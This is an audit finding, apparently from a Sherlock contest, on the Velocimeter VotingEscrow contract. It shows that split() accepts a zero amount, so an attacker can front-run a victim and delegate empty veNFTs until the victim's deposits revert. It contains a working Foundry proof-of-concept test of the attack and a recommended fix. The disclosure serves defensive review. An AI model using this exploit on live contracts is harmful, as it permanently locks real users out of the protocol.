Polite Butter Gazelle

High

# Attacker can permanently block deposits in `VotingEscrow` due to lack of 0 amount check in `VotingEscrow::split`

## Summary

The `VotingEscrow` contract allows users to lock LP tokens for a maximum time of 52 weeks. In return, they are minted a `veNFT` that grants them the ability to vote on gauges for rewards, which is a core functionality of the protocol.

The issue is regarding `VotingEscrow::split`, which allows `veNFT` holders to split their NFTs. For example, if Bob locks 500e18 LP tokens and receives a `veNFT` of id = 1, he can call `VotingEscrow::split` to create a new `veNFT` with id = 2, that takes 250e18 LP tokens (or however many tokens he specifies) from the `veNFT` of id = 1. Bob will now own two veNFT's (id=1, id=2), each holding 250e18 LP tokens. 

The problem is that `VotingEscrow::split` does not verify that the split amount is greater than 0. A user can specify 0 amount and mint as many `veNFTs` without locking any tokens for it.

An attacker can exploit this by front-running an innocent user's call to deposit and delegating the split `veNFTs` to the user until it reaches `MAX_DELEGATES`, permanently blocking deposits for the innocent user.

## Vulnerability Detail

Users can deposit and lock their tokens via `VotingEscrow::create_lock` or `VotingEscrow::create_lock_for`. Note that any other deposit functionality within the contract is to increase *existing* locks.

[VotingEscrow.sol#L839-L852](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L839-L852)
```javascript
    function _create_lock(uint _value, uint _lock_duration, address _to) internal returns (uint) {
        uint unlock_time = (block.timestamp + _lock_duration) / WEEK * WEEK; // Locktime is rounded down to weeks

@>      require(_value > 0); // dev: need non-zero value
        require(unlock_time > block.timestamp, 'Can only lock until time in the future');
        require(unlock_time <= block.timestamp + MAXTIME, 'Voting lock can be 52 weeks max');

        ++tokenId;
        uint _tokenId = tokenId;
@>      _mint(_to, _tokenId);

        _deposit_for(_tokenId, _value, unlock_time, locked[_tokenId], DepositType.CREATE_LOCK_TYPE);
        return _tokenId;
    }
```

Note that the user must lock `amount > 0`. The user is then minted a `veNFT` which can be used to vote on gauges.

The `_mint` function calls `_moveTokenDelegates`, which has the following `require` check:

[VotingEscrow.sol#L1398-L1401](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1398-L1401)
```javascript
    require(
        dstRepOld.length + 1 <= MAX_DELEGATES,
        "dstRep would have too many tokenIds"
    );
```

This is to ensure that users can only have `MAX_DELEGATES = 1024`, which is for gas efficiency. If the user's delegates are already at `1024`, they can no longer lock any tokens.

`VotingEscrow::split` mints a new `veNFT` for `veNFT` holders that decide to allocate some of the locked tokens to a new `veNFT`.

[VotingEscrow.sol#L1217-L1244](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1217-L1244)
```javascript
    function split(uint _tokenId,uint amount) external {
        
        // check permission and vote
        require(attachments[_tokenId] == 0 && !voted[_tokenId], "attached");
        require(_isApprovedOrOwner(msg.sender, _tokenId));
        require(!blockedSplit[_tokenId],"split blocked");

        // save old data and totalWeight
        address _to = idToOwner[_tokenId];
        LockedBalance memory _locked = locked[_tokenId];
        uint end = _locked.end;
        uint value = uint(int256(_locked.amount));
        require(value > amount,"amount > value");

        // save end
        uint unlock_time = end;
        require(unlock_time > block.timestamp, 'Can only lock until time in the future');
        require(unlock_time <= block.timestamp + MAXTIME, 'Voting lock can be 52 weeks max');

        // remove old data
        _remove_from(_tokenId, amount, unlock_time, _locked);
        
        // mint 
        ++tokenId;
        uint _newTokenId = tokenId;
        _mint(_to, _newTokenId);
        _deposit_for(_newTokenId, amount, unlock_time, locked[_newTokenId], DepositType.SPLIT_TYPE);
    }
```

However, it lacks any checks to verify that `amount > 0`. Users can call this function with 0 amount and mint as many `veNFTs` without locking any LP tokens.

An attacker can exploit this via the following:

1. Alice calls `VotingEscrow::create_lock` to lock her tokens for a `veNFT`.
2. Attacker front-runs transaction and calls `split` to delegate 0 amount locked `veNFT` to Alice until it reaches `MAX_DELEGATES`.
3. Alice's call to `VotingEscrow::create_lock` will permanently revert since she has `token delegates = MAX_DELEGATES`.
4. Note that she will also have essentially `0 voting power` because her locked amounts are of `0 amount`.

Alice will never be able to deposit and lock her tokens in `VotingEscrow` for a `veNFT`, and thus will not be able to vote on gauges.

## Impact

Permanent Denial of Service, deposits blocked. Users cannot mint `veNFTs` and vote for gauges, breaking core functionality and incentives of the protocol.

## Proof of Concept


Add the following to `test/VotingEscrow.t.sol` and run `forge test --mt testDepositsBlocked`

```javascript
    function testDepositsBlocked() public {
        address alice = vm.addr(1);
        address attacker = vm.addr(2);
        uint256 maxtime = 52 * 7 * 24 * 3600; // 52 weeks
        
        // get LP tokens
        FLOW.mint(address(attacker), TOKEN_1M);
        DAI.mint(address(attacker), TOKEN_1M);
        FLOW.mint(address(alice), TOKEN_1M);
        DAI.mint(address(alice), TOKEN_1M);

        vm.startPrank(address(attacker));
        FLOW.approve(address(router), TOKEN_1M);
        DAI.approve(address(router), TOKEN_1M);
        router.addLiquidity(address(FLOW), address(DAI), false, TOKEN_1M, TOKEN_1M, 0, 0, address(attacker), block.timestamp);
        vm.stopPrank();

        vm.startPrank(address(alice));
        FLOW.approve(address(router), TOKEN_1M);
        DAI.approve(address(router), TOKEN_1M);
        router.addLiquidity(address(FLOW), address(DAI), false, TOKEN_1M, TOKEN_1M, 0, 0, address(alice), block.timestamp);
        vm.stopPrank();

        // attacker front-runs alice's attempt to lock tokens and delegates MAX_DELEGATES to her
        vm.startPrank(address(attacker));
        flowDaiPair.approve(address(escrow), type(uint256).max);
        uint tokenId = escrow.create_lock(1, maxtime);
        for(uint256 i = 0; i < escrow.MAX_DELEGATES() - 1; i++) {
            escrow.split(tokenId, 0); // split 0 amount
            escrow.delegate(address(alice));
        }
        vm.stopPrank();

        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 2);

        // alice attempts to lock but reverts
        vm.startPrank(address(alice));
        flowDaiPair.approve(address(escrow), type(uint256).max);
        vm.expectRevert("dstRep would have too many tokenIds");
        escrow.create_lock(TOKEN_1, maxtime);
        vm.stopPrank();
    }
```

## Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L839-L852

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1398-L1401

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1217-L1244

## Tool used

Manual Review

## Recommendation

Ensure that users can't split their `veNFTs` with 0 amount:

```diff
    function split(uint _tokenId,uint amount) external {
        
        // check permission and vote
        require(attachments[_tokenId] == 0 && !voted[_tokenId], "attached");
        require(_isApprovedOrOwner(msg.sender, _tokenId));
        require(!blockedSplit[_tokenId],"split blocked");
+       require(amount > 0, "Cannot split with 0 amount");

        // save old data and totalWeight
        address _to = idToOwner[_tokenId];
        LockedBalance memory _locked = locked[_tokenId];
        uint end = _locked.end;
        uint value = uint(int256(_locked.amount));
        require(value > amount,"amount > value");

        // save end
        uint unlock_time = end;
        require(unlock_time > block.timestamp, 'Can only lock until time in the future');
        require(unlock_time <= block.timestamp + MAXTIME, 'Voting lock can be 52 weeks max');

        // remove old data
        _remove_from(_tokenId, amount, unlock_time, _locked);
        
        // mint 
        ++tokenId;
        uint _newTokenId = tokenId;
        _mint(_to, _newTokenId);
        _deposit_for(_newTokenId, amount, unlock_time, locked[_newTokenId], DepositType.SPLIT_TYPE);
    }
```